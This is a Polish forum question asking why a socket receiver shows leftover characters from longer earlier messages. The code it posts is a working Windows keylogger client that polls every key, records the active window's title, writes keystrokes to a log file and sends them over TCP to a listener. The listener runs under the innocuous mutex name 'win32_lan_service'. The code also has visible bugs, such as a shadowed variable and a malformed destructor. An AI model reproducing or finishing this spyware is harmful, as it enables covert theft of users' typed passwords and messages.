Problem z długością znaków winsock

Question

mam dwie aplikacje "klient" i "serwer" aplikacja serwer wysyła np. słowo "caps lock" i za drugim razem jak wysyła krótszy od najdłurzszego z wysłanych wiadomości np "shift" to serwer wyświetla "shift lock"

#include <Windows.h>
#include <iostream>
#include <fstream>
#include <stdio.h>
#include <winsock2.h>
#include <string>

using namespace std;

HWND WINAPI GetForegroundWindow(void);
HWND WINAPI GetConsoleWindow( void );


int WINAPI GetWindowText(HWND   hWnd, LPTSTR lpString, int nMaxCount);
void writelog(LPCSTR text)
{
    ofstream logfile;
    logfile.open("keyloger.txt", fstream::app);
    logfile << text;
    logfile.close();
}

string keylog(int iKey)
{
    switch (iKey)
    {
    case 32:
        return " ";
        break;
    case VK_RETURN:
        return "\n";
        break;
    case VK_SHIFT:
        return "<SHIFT>";
        break;
    case VK_BACK:
        return "\b;";
        break;
    case VK_RBUTTON:
        return "<rk>";
        break;
    case VK_LBUTTON:
        return "<lk>";
        break;
    case VK_CONTROL:
        return "<Ctrl>";
        break;
    case VK_MENU:
        return "<alt>";
        break;
    case VK_CAPITAL:
        return "<caps lock>";
        break;
    default: return "0";
    }

}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{

    WSADATA wsaData;
    SOCKET clientSocket;
    SOCKADDR_IN address;
    WSAStartup(MAKEWORD(2, 2), &wsaData);

    clientSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);

    address.sin_family = AF_INET;
    address.sin_port = htons(1000);
    address.sin_addr.s_addr = inet_addr("127.0.0.1");
    int i =1;
    while(1)
    {
        if(i>4) i=1;
        if(connect(clientSocket, (struct sockaddr*)&address, sizeof(address)) == SOCKET_ERROR)
        {

            switch (i)
            {
            case 1 :
                system("cls");
                cout << "ˆ¥czenie: ";
                break;
            default:
                cout<<".";

            }
        }
        else
        {
            system("cls");
            cout << "poˆ¥czono";
            Sleep(1000);
            system("cls");
            break;
        }
        i++;
        Sleep(10);
    }

    char key;
    while(true)
    {
        Sleep(10);
        string sprawdz;
        for (key = 8; key <= 190;key++)
        {
            if(GetAsyncKeyState(key) == -32767)
            {
                char app[125];
                string app_mess;
                string key_mess;
                GetWindowText(GetForegroundWindow(),app,125);
                if(app !=sprawdz)
                {
                    string app_mess = app;
                    app_mess = app_mess+":";
                }
                if(keylog(key) == "0")
                {
                    key_mess = key;
                }
                else
                {
                    key_mess = keylog(key);
                }
                string beta_mess = app_mess+key_mess;
                char mess[128];
                strncpy(mess, beta_mess.c_str(), 128);
                cout << mess;
                if(send(clientSocket, mess, strlen(mess),0) == SOCKET_ERROR)
                {
                    cout << "Error nie udalo sie wyslac"<<endl;
                }
                beta_mess ="";
                sprawdz = app;

            }
        }
    }
    return EXIT_SUCCESS;
}

#include <iostream>
#include <windows.h>
#include <winsock2.h>

using namespace std;
class CSingleInstance
{
private:
    DWORD dwLastError;
    HANDLE hMutexNameHandle;
public:
    CSingleInstance(char *mutexNameStr)
    {
        hMutexNameHandle = CreateMutex(NULL, FALSE, mutexNameStr);
        dwLastError = GetLastError();
    }
    CSingleInstance(void)
    {
        if(hMutexNameHandle)
        {
            CloseHandle(hMutexNameHandle);
            hMutexNameHandle = NULL;
        }
    }
    BOOL isAnotherInstanceRunning()
    {
        return (dwLastError == ERROR_ALREADY_EXISTS);
    }
};
int main()
{
    CSingleInstance * inst = new CSingleInstance("win32_lan_service");

    if(inst->isAnotherInstanceRunning())
        ExitProcess(0);

    WSADATA wsaData;
    SOCKET clientSocket, listenSocket;
    SOCKADDR_IN address, clientAddress;
    string strMessage;
    char message[512];

    WSAStartup(MAKEWORD(2,2), &wsaData);

    listenSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);

    int addressSize;
    address.sin_family = AF_INET;
    address.sin_port = htons(1000);
    address.sin_addr.s_addr = htonl(INADDR_ANY);

    bind(listenSocket, (struct sockaddr*)&address, sizeof(address));

    listen(listenSocket, 10);
    addressSize = sizeof(clientAddress);

    clientSocket = accept(listenSocket, (struct sockaddr*)&clientAddress, &addressSize);

    while(true)
    {
        lstrcpy(message, "\0");

        recv(clientSocket, message, sizeof(message), 0);

        if(message[0] != '\0')
            cout <<message;


    }
    closesocket(clientSocket);

    WSACleanup();

    return EXIT_SUCCESS;
}